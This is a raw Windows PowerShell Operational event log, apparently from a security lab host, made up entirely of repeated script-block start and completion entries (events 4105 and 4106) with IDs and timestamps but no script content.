ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031781
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031779
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031778
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031761
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031755
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031733
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031731
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031730
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031728
Keywords=None
